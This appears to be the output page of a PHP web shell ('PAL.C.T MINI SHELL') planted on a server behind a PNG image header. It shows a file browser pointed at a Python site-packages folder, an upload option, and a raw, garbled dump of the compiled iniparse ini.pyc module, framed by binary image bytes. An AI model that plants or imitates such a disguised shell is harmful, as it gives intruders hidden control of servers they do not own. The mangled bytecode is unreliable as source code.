php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/iniparse/
upload
files >> //usr/lib/python2.6/site-packages/iniparse/ini.pyc

Ic@s1dZddkZddklZlZlZddkZdefdYZdefdYZ	defd	YZ
d
efdYZdefd
YZdefdYZ
defdYZddZdeifdYZdZdZdZdeifdYZdS(sAccess and/or modify INI files

* Compatiable with ConfigParser
* Preserves order of sections & options
* Preserves comments/blank lines/etc
* More conveninet access to data

Example:

    >>> from StringIO import StringIO
    >>> sio = StringIO('''# configure foo-application
    ... [foo]
    ... bar1 = qualia
    ... bar2 = 1977
    ... [foo-ext]
    ... special = 1''')

    >>> cfg = INIConfig(sio)
    >>> print cfg.foo.bar1
    qualia
    >>> print cfg['foo-ext'].special
    1
    >>> cfg.foo.newopt = 'hi!'

    >>> print cfg
    # configure foo-application
    [foo]
    bar1 = qualia
    bar2 = 1977
    newopt = hi!
    [foo-ext]
    special = 1

iN(tDEFAULTSECTtParsingErrortMissingSectionHeaderErrortLineTypecBs5eZdZddZdZdZdZRS(cCs'|dj	o|id|_ndS(Ns
(tNonetstriptline(tselfR((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyt__init__0s
cCs&|idj	o|iS|iSdS(N(RRt	to_string(R((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyt__str__6scCs2t||od|id<n||i|<dS(NR(thasattrRt__dict__(Rtnametvalue((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyt__setattr__>scCstddS(Ns1This method must be overridden in derived classes(t	Exception(R((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR	CsN(t__name__t
__module__RRRR
RR	(((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR-s
		tSectionLinecBsJeZeidZdddddZdZdZe	eZRS(s7^\[(?P<name>[^]]+)\]\s*((?P<csep>;|#)(?P<comment>.*))?$icCs>tt|i|||_||_||_||_dS(N(tsuperRRR
tcommenttcomment_separatortcomment_offset(RR
RRRR((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyRMs
			cCsSd|id}|idj	o.|di|i}||i|i}n|S(Nt[t]t (R
RRtljustRR(Rtout((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR	Us
cCsd|ii|i}|djodS||id|id|id|id|S(NR
Rtcsep(tregextmatchtrstripRtgrouptstart(tclsRtm((s0/usr/lib/python2.6/site-packages/iniparse/ini.pytparse]s
N(
RRtretcompileRRRR	R%tclassmethod(((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyRGs		t
OptionLinecBsMeZddddddZdZeidZdZe	eZRS(s = icCsPtt|i|||_||_||_||_||_||_dS(N(	RR)RR
Rt	separatorRRR(RR
RR*RRRR((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyRhs					cCs^d|i|i|if}|idj	o.|di|i}||i|i}n|S(Ns%s%s%sR(R
R*RRRRRR(RR((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR	rs
s7^(?P<name>[^:=\s[][^:=]*)(?P<sep>[:=]\s*)(?P<value>.*)$c	Cs|ii|i}|djodS|idi}|id}|idt||id}|id}|djoT||dio?||d}||}|| i}|id|}nd}d}d}||||||||S(NR
Rtsept;ii(	RRR RR!tlentfindtisspaceR"(	R#RR$R
RR+tcoffRR((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR%~s 
&
"
N(
RRRRR	R&R'RR%R((((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR)gs			 tCommentLinecBsGeZeidZddddZdZdZe	eZRS(s,^(?P<csep>[;#]|[rR][eE][mM])(?P<comment>.*)$tt#cCs,tt|i|||_||_dS(N(RR1RRR*(RRR*R((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyRs	cCs|i|iS(N(R*R(R((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR	scCsL|ii|i}|djodS||id|id|S(NRR(RRR RR!(R#RR$((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR%s
N(
RRR&R'RRRR	R%R((((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR1s
		t	EmptyLinecBs5eZdZedZdZeeZRS(cCsdS(NR2((R((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR	scCsdS(R2((t_((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyt<lambda>scCs|iodS||S(N(RR(R#R((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR%s
(RRR	tpropertyRR%R((((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR4s		tContinuationLinecBsDeZeidZdddZdZdZe	eZRS(s^\s+(?P<value>.*)$cCsCtt|i|||_|djo
d}n||_dS(Ni(RR8RRRtvalue_offset(RRR9R((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyRs
	

cCsd|i|iS(NR(R9R(R((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR	scCsL|ii|i}|djodS||id|id|S(NR(RRR RR!R"(R#RR$((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR%s
N(
RRR&R'RRRR	R%R((((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR8s
		t
LineContainercBseZd
dZdZdZdZdZdZdZ	e
eeZe
ee	ZdZ
dZd	ZRS(cCsOg|_d|_|o2t|to|i|qK|i|ndS(N(tcontentsRtorgvaluet
isinstancetlisttextendtadd(Rtd((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyRs		cCs|ii|dS(N(R;tappend(Rtx((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR@scCs"x|D]}|i|qWdS(N(R@(RRCti((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR?scCs|idiS(Ni(R;R
(R((s0/usr/lib/python2.6/site-packages/iniparse/ini.pytget_namescCs||id_dS(Ni(R;R
(Rtdata((s0/usr/lib/python2.6/site-packages/iniparse/ini.pytset_namescCs|idj	o|iSt|idjo|idiSdig}|iD](}t|tp|d|iqQqQ~SdS(Niis
s%s(R<RR-R;RtjoinR=R1(Rt_[1]RC((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyt	get_valuescCs||_d|id}d}x/|iD]$}t|to|i}Pq,q,W|idd!|_|d|id_|d=xE|D]=}|io|i	t||q|i	t
qWdS(Ns%ss
ii(R<tsplitRR;R=R8R9RRR@R4(RRFtlinesR9tvR((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyt	set_values 	
		
cCs7g}|iD]}||iq~}di|S(Ns
(R;R
RH(RRIRCts((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR
s*ccsNxG|idddD]/}t|do|i|jo	|VqqWdS(NiR
(R;RR
(RtkeyRC((s0/usr/lib/python2.6/site-packages/iniparse/ini.pytfinditers cCs+x|i|D]}|SWt|dS(N(RQtKeyError(RRPRC((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR.sN(RRRRR@R?RERGRJRNR7R
RR
RQR.(((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR:s									csb|d|ddjo
|nfd}fd}t||S(NRtsourcecs;t|}|dj	ot|St|SdS(N(tgetattrR(Rtsrcobj(tprivate_attrnametsrcattrnametprivate_srcname(s0/usr/lib/python2.6/site-packages/iniparse/ini.pytgetfn!s
csDt|}|dj	ot||nt||dS(N(RTRtsetattr(RRRU(RVRWRX(s0/usr/lib/python2.6/site-packages/iniparse/ini.pytsetfn(s
(RR7(t
myattrnameRWRYR[((RVRWRXs0/usr/lib/python2.6/site-packages/iniparse/ini.pyt_make_xform_propertys



t
INISectioncBseZdZdZdZdZdZeZ	ddddZ
edZdZ
dZdZdZdZdZRS(	cCs4|g|_||_||_||_h|_dS(N(t_linest	_defaultst_optionxformvaluet_optionxformsourcet_options(Rtlineobjtdefaultstoptionxformvaluetoptionxformsource((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR9s
			t_optionxformcCs|djo|idiS|io|i|}ny#|i|i}||ij}Wn\tj
oP|io<||iijo)|ii|i}||iij}qnX|oti	dd|}n|S(NRis
+s
(
R_R
RhRcRt_compat_skip_empty_linesRRR`R&tsub(RRPRt	del_empty((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyt_compat_getCs

cCs|djo|idiS|io|i|}ny|i|iSWnEtj
o9|io%||iijo|ii|iSnXdS(NRi(R_R
RhRcRRRR`(RRP((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyt__getitem__Vs

cCs|io|i|}n|}||ijo|ii|n||ijo:tt|d}|idi|||i|<n||i|_dS(NR2i(	RhRitremoveRcR:R)R_R@R(RRPRtxkeytobj((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyt__setitem__bs
cCs|io|i|}n||ijo|ii|nx|iD]}g}xv|iD]k}t|toH|i}|io|i|}n||jo|i|qqa|i|qaW||_qKW|i	|=dS(N(
RhRiRnR_R;R=R:R
RBRc(RRPtlt	remainingtotn((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyt__delitem__ps$


	


ccst}x|iD]z}xq|iD]f}t|toP|io|i|i}n
|i}||jo|V|i|qq#q#WqW|io;x8|iD])}||jo|V|i|qqWndS(N(	tsetR_R;R=R:RhR
R@R`(RRARrRCtans((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyt__iter__s$	


	



cCstd|dS(NsNo sub-sections allowed(R(RR
((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyt_new_namespacesN(RRRR_RcR`RaRbRwRiRR]RhRlRmRqRvRyRz(((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR^2s						cCst|idS(Ns
(R1R (R((s0/usr/lib/python2.6/site-packages/iniparse/ini.pytmake_commentsccsft}xYtoQ|i}|p|o	dVndS|ido
t}nt}|Vq	WdS(sCiterate over a file by only using the file object's readline methodR2Ns
(tFalsetTruetreadlinetendswith(tfthave_newlineR((s0/usr/lib/python2.6/site-packages/iniparse/ini.pytreadline_iterators	
cCs
|iS(N(tlower(RC((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyRst	INIConfigcBseZdZdZdZdZdZdZdZ	dZ
eZdde
eddddZeddZeddZdZdZdZdZdZd	ZeZeeeeegZd
Z dZ!RS(
c
Cst|_||_||_||_||_||_h|_|djo
h}nt	td||_
x'|iD]\}}	|	|i
|<q~W|dj	o|i|ndS(NRg(
R:t_datat
_parse_excRaRbt_sectionxformvaluet_sectionxformsourcet	_sectionsRR^R`t	iteritemst_readfp(
RtfpRet	parse_excRfRgtsectionxformvaluetsectionxformsourceR
R((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyRs						



Rhtoptionxformt
_sectionxformcCs=|tjo|iS|io|i|}n|i|S(N(RR`RR(RRP((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyRms


cCstd||dS(NsValues must be inside sections(R(RRPR((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyRqscCsY|io|i|}nx+|i|iD]}|iii|q.W|i|=dS(N(RRR_RR;Rn(RRPR((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyRvs
ccsqt}|itxT|iiD]F}t|to0|i|jo|iV|i|iqiq#q#WdS(N(RwR@RRR;R=R:R
(RRARC((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyRys	

cCs|iio|iitntt|}|ii||io|i|}n||ijo!|i|}|ii	|n)t
|d|id|}||i|<|S(NReRg(RR;R@R4R:RRRR_RBR^R`(RR
Rptns((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyRzs


	
cCs+|io
d}nd}||iiS(Nu%ss%s(t_bomRR
(Rtfmt((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR
s

cCs7x0|iD]!}|i|}|o|Sq
WdSdS(N(t_line_typesR%R(RRtlinetypeRd((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyt_parses
	cCsrd}d}d}d}g}t}y
|i}Wntj
o
d}nXd}	d}
d}xt|D]}|	djo<t|to,|ddjo|d}t|_qn|i	|}|	d7}	|oJt|t
ttfo0|i
ot||	|q&t|}n|djoK|i
o1|
djot|}
n|
i|	|nt|}nt|to|oP|o8|i|g}|o|
ii|t}qn|i|q0|i
o1|
djot|}
n|
i|	|nt|}nt|to|o|i|g}t}nt|}|i||io|i|i}n
|i}|tjo
|i}
n|i|}
||
i|<nt|to|ii|g}t}t|}|ii|d}d}|itjo|iii|t}q|io|i|i}n
|i}||ijo&t |d|id||i|<q|i|ii|nt|t
tfo+|i|t|to
t}qqlqlW|ii||o(|ddjo|iitn|
o
|
ndS(	Ns<???>iuiReRgis
(!RR|R
tAttributeErrorRR=tunicodeR}RRR1R4RRRR{RRBR8R?RiR@R)R:RhRR`RRcRR_RR^(RRtcur_sectiont
cur_optiontcur_section_nametcur_option_namet
pending_linestpending_empty_linestfnamet	linecounttexcRRdtoptobj((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyR
s














	




	
N("RRRRRR`RaRbRRRR|RR}RRR]RhRRmRqRvRyRzR
t__unicode__R4R1RR)R8RRR(((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyRs4											(t__doc__R&tConfigParserRRRtconfigtobjectRRR)R1R4R8R:RR]tConfigNamespaceR^R{RRR(((s0/usr/lib/python2.6/site-packages/iniparse/ini.pyt<module>"s  :
Dd			
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`